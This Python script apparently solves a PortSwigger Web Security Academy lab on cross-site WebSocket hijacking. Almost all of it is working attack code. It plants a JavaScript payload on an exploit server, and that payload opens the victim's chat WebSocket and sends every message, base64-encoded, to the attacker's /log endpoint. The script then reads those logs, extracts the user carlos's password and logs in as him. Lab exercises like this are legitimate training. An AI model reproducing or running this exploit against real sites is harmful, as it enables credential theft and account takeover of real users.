exploit-lab02.py

# Cross-site WebSocket hijacking

# https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab

import sys
import requests
import urllib3
import urllib.parse
import re
import time
import warnings
import websocket
import ssl
import base64
from bs4 import BeautifulSoup
import argparse


warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


##########################################################
#	FUNCTIONS
##########################################################

def get_csrf_token(r):
	soup = BeautifulSoup(r.content, 'html.parser')
	csrf_input = soup.find("input", {'name':'csrf'})
	csrf = csrf_input['value']
	print('[+] Found CSRF Token:\t\t%s' % csrf)
	return csrf

def send_payload(url, payload, attacker):
	post_exploit_path = attacker + '/'
	post_exploit_data = {
		"formAction": "STORE",
		"urlIsHttps": "on",
		"responseFile": "/exploit",
		"responseHead": """HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8""",
		"responseBody": payload
	}
	r = requests.post(post_exploit_path, data=post_exploit_data, verify=False, proxies=proxies)
	time.sleep(1)
	post_exploit_data = {
		"formAction": "DELIVER_TO_VICTIM",
		"urlIsHttps": "on",
		"responseFile": "/exploit",
		"responseHead": """HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8""",
		"responseBody": payload
	}
	r = requests.post(post_exploit_path, data=post_exploit_data, verify=False, proxies=proxies)
	time.sleep(1)
	print('\n[+] Targeted endpoint or query parameter:\n    %s' % url)
	print('\n[+] Using payload:\n%s' % payload)
	print('\n[+] Delivered to the victim via:\t%s' % post_exploit_path)
	return r

def send_xss(host, attacker):
	chat_path = 'wss://' + host + '/chat'
	exploit_body = f"""<script>
    var ws = new WebSocket('{chat_path}');
    ws.onopen = function() {{
        ws.send("READY");
    }};
    ws.onmessage = function(event) {{
        fetch('{attacker}/log?msg=' + btoa(event.data), {{method: 'GET', mode: 'no-cors'}});
    }};
</script>"""
	r = send_payload(chat_path, exploit_body, attacker)
	if r.status_code != 200:
		print('[-] The exploit failed to store the payload...')
		sys.exit(1)
	return r

def get_creds(attacker):
	print('\n[+] Trying to retrieve the chat history in our exploit server logs...\n')
	log_path = attacker + '/log'
	print('[+] Waiting few seconds...')
	time.sleep(8)
	r = requests.get(log_path)
	if '/log?msg=' in r.text:
		msgs = re.findall(r'/log\?msg=(.*) HTTP', r.text)
		for msg in msgs:
			decoded = base64.b64decode(msg).decode()
			if 'No problem carlos' in decoded:
				print('[+] Found Credentials in chat history:\n\t%s' % decoded)
				password = re.search(r' it&apos;s (.*)"}', decoded).group(1)
				print('[+] Found Password:\t\t%s' % password)
				return password

def connect_as_carlos(s, url, password):
	print('\n[+] Trying to connect to the application as Carlos with found password...')
	login_path = url + '/login'
	r = s.get(login_path)
	csrf_token = get_csrf_token(r)
	data_login = {'username': 'carlos', 'password': password, 'csrf': csrf_token}
	r = s.post(login_path, data=data_login)
	time.sleep(1)
	account_path = url + '/my-account'
	print('[+] Navigating to "%s"' % account_path)
	r = s.get(account_path)
	if 'Your username is: carlos' in r.text:
		print('[+] Logged in as Carlos !')
		return r
	else:
		print('[-] Exploit failed to connect as Carlos <!>')

def find_exploit_srv(r):
	if re.search(r"href='(.*)'>Go to exploit server", r.text):
		srv = re.search(r"href='(.*)'>Go to exploit server", r.text).group(1)
		print('[+] Found Exploit server:\n\t%s' % srv)
		return srv


##########################################################
#	MAIN
##########################################################

def main():
	print('[+] Lab: Cross-site WebSocket hijacking')
	parser = argparse.ArgumentParser(description="[+] Lab: Cross-site WebSocket hijacking")
	parser.add_argument('-U',dest='url',required=True, help="Target URL")
	args = parser.parse_args()
	parsed_url = urllib.parse.urlparse(args.url)
	host = parsed_url.netloc
	print(parsed_url)
	url = parsed_url.scheme + '://' + host
	s = requests.Session()
	s.proxies = proxies		# Comment this line to disable proxying
	s.verify = False
	try:
		r = s.get(url, allow_redirects=False)
		exploit_srv = find_exploit_srv(r)
		time.sleep(1)
		if '<h1>Error</h1>' in r.text or 'Server Error: Gateway Timeout' in r.text:
			print('\n[-] HOST seems to be down <!>')
			sys.exit(-1)
		else:
			print('[+] Trying to send Cross-site WebSocket hijacking attack...\n')
			time.sleep(1)
			parsed_atk = urllib.parse.urlparse(exploit_srv)
			attacker = parsed_atk.scheme + '://' + parsed_atk.netloc
			send_xss(host, attacker)
			password = get_creds(attacker)
			time.sleep(2)
			connect_as_carlos(s, url, password)
			s.cookies.clear()
			time.sleep(2)
			r = s.get(url)
			if 'Congratulations, you solved the lab!' in r.text:
				print('\n[+] The lab is solved !')
	except requests.exceptions.ProxyError:
		print('[-] PROXY seems to be missconfigured <!>')
	except KeyboardInterrupt:
		sys.exit(0)

if __name__ == "__main__":
	main()